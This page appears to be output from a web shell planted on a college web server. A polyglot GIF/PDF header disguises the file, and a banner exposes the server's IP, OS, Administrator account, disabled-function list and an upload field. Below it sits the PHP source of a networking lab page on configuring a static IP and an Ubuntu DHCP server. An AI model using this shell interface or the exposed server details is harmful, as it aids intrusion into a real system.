GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/MichaelMalz/CST2608/Labs/Lab02 - DHCP/ |
Upload File : |
<? // Lab02.php include('Course/courseInfo.phpinc'); include('../../classInfo.phpinc'); $evaluationNumber = 2; $evaluationType = "Lab"; $evaluationTitle = "DHCP Server"; $evaluationType = "Lab"; $evaluationTitle = $evaluationTitle; if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; $evaluationName = $evaluationType.$evaluationNumber; } if ($evaluationTitle != '') $evaluationTitle = ' - '.$evaluationTitle; $title = $evaluationType." ".$evaluationNumber.": ".$evaluationTitle; $headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title; $pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title; $pageMenu = 'Course/courseMenu.phpinc'; $smallTitle = true; $js='openCenteredWindow'; include('common/pageHeader.phpinc'); include('JimMartinson/CST2608/Labs/StudentServerNameNAT.phpinc'); $sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title.' - '.username($userId); include('common/sectionHeader.phpinc'); $ShowSpanCountBefore = false; #$ShowSpanCountBefore = true; ?> <style type="text/css"> b { white-space:nowrap; } <? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; } </style> <a name="Lab"></a> <fieldset><legend>Description</legend> Setup a DHCP server. </fieldset> <fieldset><legend>Lab Instruction</legend> <ol id="main" class="count"> <li>Setup VMware Workstation and the Ubuntu server (Used for all <?=$courseNumber?> <?=$courseTitle?> labs). <ol> <li>Setup the VMware Workstation network. Your network and server information is as follows: <br>Server name: <b><?=$Uservername?></b>. <br>Server username: <b><?=$Uusername?></b>. <br>Server IP address: <b><?=$Uipaddress?></b>. <br>Network: <b>192.168.<?=$Unat?>.0</b>. <br>Mask: <b>255.255.255.0</b>. <br>Gateway: <b>192.168.<?=$Unat?>.2</b>. <ol> <li>Configue the VMware NAT network. <ol> <li>Run VMware Workstation.</li> <li>Click on <b>Edit</b> and select <b>Virtual Network Editor...</b>.</li> <li>Select the NAT network.</li> <li>Change the <b>Subnet IP</b> to <b>192.168.<?=$Unat?>.0</b> (This may be a bit slow but the new number will change).</li> <li>Click <b>Apply</b> and <b>OK</b>.</li> </ol> </li> </ol> </li> <li>Configure the static IP address for your Ubuntu server. <ol> <li>Starup your Ubuntu server and login.</li> <li>Open a terminal.</li> <li>Edit the <b>/etc/network/interfaces</b> file with <kbd>sudo gedit /etc/network/interfaces</kbd>.</li> <li>Comment out the dhcp line and add your static IP address using the numbers from 1.1 above.</li> <li>An example is below: <pre class="code"> # This file describes the network interfaces available on your system # and how to activate them. For more information, see interfaces(5). # The loopback network interface auto lo iface lo inet loopback # The primary network interface auto eth0<span class="codechange"> #</span>iface eth0 inet dhcp<span class="codechange"> iface eth0 inet static address <?=$Uipaddress?> netmask 255.255.255.0 gateway 192.168.<?=$Unat?>.2 dns-nameservers 192.168.<?=$Unat?>.2</span></pre> Note: <span class="codechange">Changes are this color</span>. The IP address was set to <?=$Uipaddress?>. </li> </ol> </li> <li>Test it. <br>The simpelest method to test if the configuration is correct is to restart the server. <ol> <li>Restart your Ubuntu server.</li> <li>Open a terminal.</li> <li>Enter the command <kbd>ping cst.ridgewater.edu</kbd>.</li> <li>When you see that it is working hit <tt>Ctrl-C</tt> to stop it.</li> <li class="count"><b class="info">Take a screenshot of the terminal window</b> and save the image as <b><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-1.png</b><? if ( $ShowSpanCountBefore ) { echo ' ['.__LINE__.'] '; } ?>. <br>Make sure that the ping command is visible in the terminal window before taking the screenshot. </li> </ol> </li> </ol> </li> <li>Setup DHCP server. <ol type="a"> <li>Install the DHCP server. <br><kbd>sudo apt-get install isc-dhcp-server</kbd> </li> <li>Configure the DHCP interface. <br><kbd>sudo cp /etc/default/isc-dhcp-server /etc/default/isc-dhcp-server_backup</kbd> <br><span class="kbd">sudo gedit /etc/default/isc-dhcp-server</span> <br>Edit the <span class="code bold">INTERFACES=""</span> line to read <span class="code bold">INTERFACES="eth0"</span>. NOTE: The eth# may be different for your installation. Use <kbd>ifconfig</kbd> to find the name of your interface. </li> <li>Configure the DHCP server. <br><span class="kbd">sudo cp /etc/dhcp/dhcpd.conf /etc/dhcp/dhcpd.conf_backup</span> <br><span class="kbd">sudo gedit /etc/dhcp/dhcpd.conf</span> <br>Enter your DHCP configuration. <pre class="code"> subnet 192.168.<?=$Unat?>.0 netmask 255.255.255.0 { range 192.168.<?=$Unat?>.100 192.168.<?=$Unat?>.125; option domain-name-servers 192.168.<?=$Unat?>.2; option domain-name "ubuntu.loc"; option routers 192.168.<?=$Unat?>.2; option broadcast-address 192.168.<?=$Unat?>.255; default-lease-time 600; max-lease-time 7200; }</pre> Note that my network was 192.168.<?=$Unat?>.0 and my gateway was 192.168.<?=$Unat?>.2. I also set the range to be from 192.168.<?=$Unat?>.100 to 192.168.<?=$Unat?>.125. I did this because the VMware DHCP server was using 192.168.<?=$Unat?>.128 to 192.168.<?=$Unat?>.254. By setting a different range it will be easier to see that I am getting an IP address from the Ubuntu DHCP server. </li> <li>Start the DHCP server. <br><kbd>sudo service isc-dhcp-server start</kbd> </li> <li>Test your DHCP server. <ol> <li>Turn off the VMware DHCP server.</li> <li>Setup another VMware machine that uses the same network as your Ubuntu server and test (I have a <a href="../../dn/VMs/Windows7-32.zip">Windows 7</a> VM that you can <a href="../../dn/VMs/Windows7-32.zip">download</a> and use. <ol> <li>Restart or renew the interface on the other VMware machine to obtain an IP address from your Ubuntu DHCP server. <br>From a Windows 7 VMware machine use the commands: <br><kbd>ipconfig /release</kbd> <br><kbd>ipconfig /renew</kbd> <br>NOTE: I have had problems with a Windows OS switching DHCP servers once it has seen another one. If your Windows VMware machine was started when the VMware DHCP server was running you may have to restart for Windows to use your Ubuntu DHCP server. </li> <li>Display the IP address information, take a screenshot and save it as <b><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-2.png</b>. <br>From a Windows 7 VMware guest machine use the command: <br><kbd>ipconfig /all</kbd> <br>Here is a sample screenshot from a Windows VMware guest machine: <br><img src="ipconfig_all.png" alt="Windows VMware guest ipconfig all" /> </li> </ol> </li> </ol> </li> </ol> </li> <li> <a href="mailto:jim.martinson@ridgewater.edu?subject=<?=$courseNumber?> <?=$evaluationName?> Submission">Send an email</a> to jim.martinson@ridgewater.edu with a subject of <b style="white-space:nowrap"><?=$courseNumber?> <?=$evaluationName?> Submission</b> and attach the following files: <ol type="a"> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-1.png.</li> <li><?=$courseNumber?>-<?=$evaluationName?>-<?=$userFileName?>-2.png.</li> <li>/etc/default/isc-dhcp-server.</li> <li>/etc/dhcp/dhcpd.conf.</li> <li>/etc/network/interfaces.</li> </ol> </li> </ol> </fieldset> <fieldset><legend>Grading Criteria</legend> Demonstrated assignment effectively: 10 points. <br> There are some things I expect. If they are incorrect you will lose the following: <br> Incorrect attachment file name: -1 pt. <br> Work submitted incorrectly: -1pt. <br> Incorrect subject in email: -1pt. <br> Second and subsequent submission of work for grading: -1pt. <br> Work submitted late: -1pt per week. </fieldset> <!-- <fieldset><legend>Notes</legend> Here is a <a href="<?=$evaluationName?>/<?=$evaluationName?>.zip"><?=$evaluationName?>.zip</a> file with examples of what must be turned in as well as gedit and sudo scripts to help with the assignment.<br> </fieldset> <br><code>code</code> <codechange>codechange</codechange> <codeold>codeold</codeold> <comment>comment</comment> <entry>entry</entry> <kbd>kbd</kbd> <samp>samp</samp> <tt>tt</tt> <ttchange>ttchange</ttchange> <var>var</var> --> <? include('../../ReferencesResources.phpinc'); include('common/sectionFooter.phpinc'); include('common/pageFooter.phpinc'); ?>